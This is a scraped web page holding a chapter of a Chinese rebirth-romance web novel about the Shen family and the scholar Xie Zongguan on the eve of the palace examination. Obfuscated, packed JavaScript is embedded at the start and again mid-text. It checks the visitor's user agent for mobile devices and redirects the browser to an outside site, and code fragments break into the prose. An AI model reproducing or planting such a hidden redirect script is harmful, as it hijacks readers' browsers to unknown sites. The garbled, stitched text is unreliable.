p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691575|173376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黄案、云盘，以及开考礼仪等等，都少不得礼部与鸿胪寺在场，沈仁谦应该忙得没那么快回来。 兄妹俩向来感情好，眼看等不住，沈睦蔼不免失落地呵出口气：“那便不等仁谦回府了。兄长公务繁重，还请嫂嫂多劳累些，照应好兄长身体，我且先回府去了。” 她嫁的是三品通政使郭府，地位比四品鸿胪寺少卿尊崇，但回到沈家却从不端高门架子。只是说来奇怪，与沈仁谦兄妹之间，却习惯直呼其名，而崔老夫人并不纠正。 褚氏当年刚嫁进门时，起初还觉得别扭，为何做妹妹的睦蔼不称呼自己郎君为兄长，如今也早已经适应了。 沈睦蔼理了理鬓间簪子，讪然地望了眼书房的方向，让家奴提上那条鱼告辞了。 到酉时过半，沈仁谦才从朝中回来。 他生得五官隽秀，身量修长，估计是公务忙得够呛，一袭绯色刺绣云雁官服上都能看出灰尘与褶皱。可把妻子褚宝靓看得好气又心疼，临时嘱咐下去，让厨房今晚多炖上一盅鸽子银耳汤。 沈家用度格外讲究，尤其每顿饭都搭配丰富。厨灶上把三小姐下午钓来的那条鱼，用绍酒、香料、芝麻油加淀粉腌浸抹匀，佐以东海虾仁、蜀州笋丁、南越香菇、青豌豆，还有玫瑰醋等配料，做成了外脆里嫩、酸甜可口的松鼠鳜鱼，摆在了大圆饭桌的正中间。 崔老夫人是苏淮人，最好的就这一口。姨娘徐氏和庶兄、嫂、庶姐都带着孩子过来，在正堂里围坐成一桌，吃得好生热闹。 重生前的那个元宵节，是夜火光冲天，喊打喊杀，父亲一族都被下在监里，已嫁为人妇七年的沈姳珠战兢忐忑，只与庄氏母女应付了一顿。 忽然全家人这样欢喜热闹地齐聚在一堂，竟又有了些过年才有的气氛。沈姳珠百感交集，举起公筷给爹爹和娘亲各夹了一块鱼肉。 却被家中的众人好一顿玩笑，说咱们三姑娘竟然学会体谅人了。 庶兄更是乐呵呵地说：“三妹如此，确应顺从母亲所言，该是找个良婿的时候了！” 沈姳珠烦扰催婚不停，却悄悄暖和地眼角湿润起来。 回到绮珍苑里，她便叫琳琅取来笔墨，坐在桌案前，将二表兄褚令白可能交白卷的原由，都细细地列了出来。 琳琅望着小姐姣好的身影，怎觉得那莞尔中带着几分决绝毅然，叫人分外陌生。 小姐何时这般上心过，大晚上的动纸笔书写什么来着？ 琳琅记起来了，好像只有在摊贩上买的那些小话本里，男女追求互表爱慕时才有此种激情。 时辰已晚，沈姳珠察觉了倦意。她自从前世与谢宗焕分居两地后，深夜里不再有那欲生欲死的旖旎缠绵，便没有了熬夜的习惯。 她折起纸卷，嘱咐琳琅说：“明日寅时过半便叫醒我，你随我一道去午门前一趟。” 琳琅这二年不知为何长了雀斑，十分害怕出现在众多男子面前，不由嘟囔道：“明日殿试，宫门外都是进场的贡士，个个年轻才俊，小姐如何前去抛头露脸？即便昌平侯府萧家的世子，也是监考官员，午门前遇不到他。小姐这般着急，莫非竟是看上了哪家男郎，要前去递送情书鼓励吗？” 沈姳珠瞅见她下意识捂着侧脸的样子，心中好笑，她前世心无挂虑，对琳琅的变化起初并未察觉。后来婚后，日日与谢宗焕在院中打照面，发现琳琅总是侧着半张脸走路，她才恍然觉察过来，给她用了自己的雪肤露涂淡了。 只是都忘记，琳琅还有过这般话痨的时候。 沈姳珠打了个哈欠，说：“想哪里去，是办正事，明日须得按时唤我起床。” 而后合衣睡下，多少年未曾在这张舒适酥柔的床上睡过觉了。什么女大当嫁，她这次偏要拖延时日，必要妥帖护住亲族，安享黑心莲般的崭新人生！ 8. 第 8 章 戌时过半，夜空乌云滚滚，响了几声闷雷。接连几日光打雷不下雨，河水不涨潮，鱼价就更加贵得离谱。 这锦安京果然是堆金积玉的地方，呼口气的功夫都要花出去钱银。 开明坊的二进院子里，婢子冬柳往灶膛里夹柴火。谢家主母庄德兰撩开锅盖，将炖煮一晚上的鲜浓鱼汤盛进碗里，冲门外嚷道：“吴妈，公子可有瞌睡醒了？醒来唤我一句。” 吴妈提着刚打上来的一桶水，走进来语气嗫嚅：“醒是醒来的，夫人您要不自己瞧瞧去？公子他……怎的好生怪哉。” 谢家去年秋天掏了家底，才在京都置办下的这处宅子，二进院说大不大，却也够一家几口人住。地段离着皇宫是远了些，到底房屋还算新，质量牢固，意味着在京都安居下来，这让洛阳老家的谢氏亲族好不羡赞。 庄氏留下两个家仆看管洛阳的祖屋，这边重新雇了个吴妈和冬柳使唤。 她平日是不下厨的，但今晚这碗鱼汤，必须自己炖煮才能体现出诚意。 听吴妈说公子已醒，庄氏便端着食盘走出了灶房。 * 走廊下点着一盏昏黄灯笼，扛不住夜空翻涌的厚云，晃来晃去的仿佛随时要坠落。 ——如何丧礼才过去半宿，忽然变作这副景象？ 谢宗焕站在廊前，时年二十一岁的他，分明芝兰玉树，风骨凌然。他冷眼睇着眼前暗沉的屋瓦，狭隘的院落与回廊，俊颜清肃，凤眸如刃，看不出是甚表情。 侍从希墨站在旁边，站了快有半柱香的工夫，公子始终都是这副怔忡模样。他生怕主子是被人一棍子敲坏了，脸上的担忧分毫毕现。 鱼价飞涨，下午夫人庄氏为了买条鱼和人骂仗，公子恰巧路过挡了她一下，被那凸嘴的鱼贩子在肩头敲了一计木棍。当下没觉得什么，回来看了会儿书，公子就伏案瞌睡了，一直到刚才醒来，天色已暗。 公子不言片语，迎风瑟瑟地站在廊前发呆，时而勾起嘴角轻哼冷笑。那一贯姿容清绝、傅粉何郎般的男儿，莫名竟似掖着陌生的狠戾，让人感到发怵。 要知道，谢家郎君克己复礼，忠孝节义，在十里八乡那都是声名远播的。为了这次科考，还把宅子都买到了京城，忽然临考前被敲傻可就完蛋了。 但公子静思时不喜悦打扰，希墨忍了几次没敢吭声。 夜风拂动着谢宗焕的青蓝袍袖，是与锦缎不同的粗普触感，他低头看了眼自己的仪容。 一切荣华缱绻与阴谋算计皆落尽。这个时候还住在这里，穿春夏之交的袍服，院子里只有这些人。 三月，四月，或者五月，应该便是此际了。 他问道：“明日是否殿试？” 男子嗓音温润沉稳，从容不迫，无有波澜。 希墨松了口气：还好还好，还是那个主子，没敲坏。 赶紧答说：“公子记得便是，且去用过晚饭，今夜早些歇息。” 谢宗焕倏然神色和缓，接受了眼前现实。有放弃便有所得，或者这就是天意。 天意如此，那便如此。 他敛起冷意，瞥见侍从眼底掖藏的不安感，晓得自己适才的行事多有变化。他便稍做回顾和调整，恢复了平日的气度做派。 正说着，庄氏两手端食盘走过来，焦急地唤道：“我儿可算醒来，可有感到不适？且快将这碗鱼汤喝了，明日的殿试必能鲤鱼跃龙门，进士及第，也不枉我在黑市上与他们干架一场！” 庄氏四十来岁，男人去的早，单给自己留下一儿一女，还有祖上的几分薄产。 在洛阳桃花庄的谢氏一族，他们属于迁来的旁支族系人口，孤儿寡母多有不易，好在儿子谢宗焕争气，文炳雕龙，出类拔萃，很替自家赢得不少脸面。在给谢老祖父丁忧三年完毕，这次一举就考上了会试。 庄氏打心眼里美滋滋的，她就知道自个的儿子出彩优秀，是旁人比不了的。你且看宗焕修逸魁梧的身躯，便是从武也未尝不可，奈何谢家从武之路被歹人堵死了，想要为官，便只能从文。 从文就从文，眼看着宗焕马上就要官服加身了！ 庄氏啧道：“这鱼本该晚膳就给你蒸上，我见你瞌睡，便在锅里炖成了汤。那黑市过分，起先卖与我六十文已是天价，忽然来了其他主顾，立马又要往上加我二十文钱，若非你及时赶至，我非掀烂他摊子不可。” 鱼汤炖得香气浓郁、鲜美醇厚，谢宗焕用过两口，却没什么食欲。他忽然想起了一件要事，便看向母亲说：“黑市东西真假难辨，参差不齐，母亲今后要买便去东边菜市，莫贪图便宜几文。待儿子金榜题名，很快便能加官进禄，母亲无须如此克俭。” 话听得庄氏好不感动，刚才看吴妈那神情，还以为出了什么差池，这分明就是好好的嘛。 庄氏连声慨叹：“哪有这般简单，便是考上当了京官，也须有家底给你应酬开销。但我儿出息，能理解我苦心，为娘便心里足矣，且等你的好消息。” 希墨站在旁边，看着公子胜券在握的底气，默默腹诽：也未必容易当上京官，会试也才考了个中上，能在殿试冲上去吗？普通外放官员连在京中走动的机会都不易。 谢宗焕对侍从的小心眼子尽收眼底，却视若无睹，一晚上他高枕无忧，睡得心安理得。 * 寅时过半，琳琅果然唤小姐起床了。 天还没全亮，灰蒙蒙的，莫名潮闷不已。怪昨夜连响闷雷，却滴雨未下，四月初的天气如此也是稀罕。 翠蕊和彩蝶给沈姳珠梳了个高锥髻，在松软柔美的发髻两边各插金叶芙蓉花簪，衬得小姐珠光宝气，光艳逼人。 今日气温高，便换上双蝶流云软纱裙，绣工轻盈而华丽，洋溢着鲜活。 琳琅就是觉得，小姐这张容貌呀，真真的可媚可柔，可收可放，忽而春水芙蓉、千娇百媚；忽而琼花玉貌，雍容华贵。轻松可驾驭，全凭小姐心情。 因着提前知会过灶房，婢子早早送来了薏米百合莲子粥，搭着几样精致可口小菜。 沈姳珠抖开袖摆用食，瞅瞅外面湿闷的天气，便嘱咐琳琅打包带上一份，另外再提两笼翠玉豆糕与椰子盏。 褚家的珠宝产业遍及西南一带，这椰子乃是舅父特地让人从琼州托运而来，等闲人家难能买到。用鸡蛋、面粉、饴糖等佐料做成椰子盏，椰香浓郁，甜软嫩滑，她从前在家便极爱吃，一会儿回府的路上可以当做消遣点心。 琳琅嘟囔：“小姐对哪家公子这般上心呐，若叫萧世子晓得，他该吃干醋了的。” 沈姳珠淡道：“你就只关心这个。昨日听姑母她们谈话，想起褚二表兄今日也赴考，我却只给郭修表弟送了鱼，哪能说得过去，这便补送去一份小礼。” 看来没有八卦可听，琳琅顿时本分了，转身让人去准备食屉。 沈姳珠昨夜在纸上罗列，想来以褚令白那纨绔不羁的做派，基本没有什么可打倒他，而唯有那些关心则乱的事儿，才可扰他方寸。 她忽地记起，陶小姐后来嫁的乃是宣义伯府薛家公子，那薛家公子也在这天殿试，莫不是被褚二表兄听到了什么，临时放弃了？ 但据沈姳珠所知，陶小姐嫁去宣义伯府后，似乎心情郁郁寡欢，常年卧榻，并不快乐。 那么，沈姳珠想借此时机，做一些改变试试。 至少她的目的是先将二表兄留在京都。 此生为了不再受制于人，沈姳珠不惜任何可利用的手段。 眼见差不多时辰，她便命人备上马车出发去宫门。 * 寅时近末，天色渐亮，午门前已经熙熙攘攘聚集了待考的贡士。 因停过一届科考，今岁录取的人数增多，大约有四百人。 卯时便要点名进宫了，人们自觉按会试放榜的名次排成四列。五湖四海的学子生员聚在一处，想到即将得见天颜，难免激动憧憬。 听说当今圣上当年可谓文武双全，自幼便做得一手好文章，五岁还曾与已故的陈阁老当廷论过策，青年时上马征战，是为难得的明君，广受朝野称道。 能在保和殿得与皇帝亲试，可谓平生莫大荣耀，大家都纷纷议论着。天气热如蒸屉，有些心态弱点儿的，还未开考已经在紧张擦汗了，更有甚者掐着人中以顺心宁气。 谢宗焕排在第一列的前半段，身量颀长清凛，穿着玉色圆领斓衫，与周遭学子不无二致。所怪异的是，他那如玉脸庞晏然自在，几乎看不出来慌张之意。 而眼目眺向宫墙四方，却隐有睥睨强势，俨然不是殿试的庶族青涩学子，倒像将这皇城攥于鼓掌间的欲-壑森森。 希墨抱着藤制书箱站在一旁，心下便揣了忐忑。先前会试时，公子也胸有成竹，方寸不乱，希墨本以为公子必然考中前十，结果出来才三十几名。 公子昨夜那般怔忡，今晨又淡定无比，怎么着都让人不太放心呐。 开明坊的二进院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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琳琅掀开外层的织花锦帘，看到外面一片斓衫济济，有高矮胖瘦，老的壮年的青年的，不由皱起眉头道：“小姐你看，这么多人，上哪儿找褚家表公子呢？” 车厢里摆放矮几，几上搁着一瓶吐蕊的玉兰花，幽香弥漫。沈姳珠透过淡色的薄薄绉纱，看到队列分为四段，昨儿听母亲说褚二表兄考在一百余名，她便道：“应该在第二列，让车夫往那边过去。” 她今日低调，出府准备的马车较为简单，然而那精贵富丽的雕饰，还有挂在前头的“沈”字名牌，却很是醒目。 虽隔一层薄纱，已经有人窥探出内里女子的艳美娇色，这清晨灼闷，玉兰花香越过绉纱飘开，顿时把视线都吸引了过去。 青年贡士便问道：“这是哪家的千金？在场兄台被如此惦记，考前都特地前来相送，只叫人羡慕万分。” 有熟悉情况的便答：“没看见是沈家吗？锦安京唯沈、褚二家最为雄厚，沈氏唯此一嫡女，生得风姿绰约，若能得此嫡女青睐，做了她家乘龙快婿，那之后便是平步青云，少走了二十年弯路！” 另一个眼红道：“岂止二十年，就不知道哪家兄台能得她的眼了？” 相识的拍他手臂：“某兄，你就先别想了，前日饮酒，我亲耳听你说已有未婚妻。” 被提醒的立时扫兴反驳：“那怎么，想想还不行？便是无望高娶，做个白日梦总是可以。” 谢宗焕站在人群中，耳听着周遭的议论，容色沉肃。 今时此地，原不该有她在。此时赶来，做什么目的？ 有旁边的见他俊逸端雅，便好奇道：“锦翊如何只是颔首不语，你尚未婚配，又加之如此气宇，倒是说说想法？” 谢宗焕睨了眼那几个议论的，冷淡道：“男儿成功名之事，何能以女子为梯，若娶便当捧于掌心爱之护之。起初便谈利用，莫非盈利小人之举？” 希墨顿时昂首：幸哉，主子高洁，总算是有点自知之明在。 他对旁的贡士们解释道：“众位怕是不晓得，我家公子素来不近女色，任由什么绝色他也观之淡漠。” 对面第二列的褚令白，适才听见人们议论三表妹，心中上火。难得听闻谢宗焕如此一言，不由投去欣赏目光。 忽然他侍从解释完毕，褚令白又气闷冷笑：“好个大话，怕是你未见过姳珠姿容，待见了再狠狠打脸！”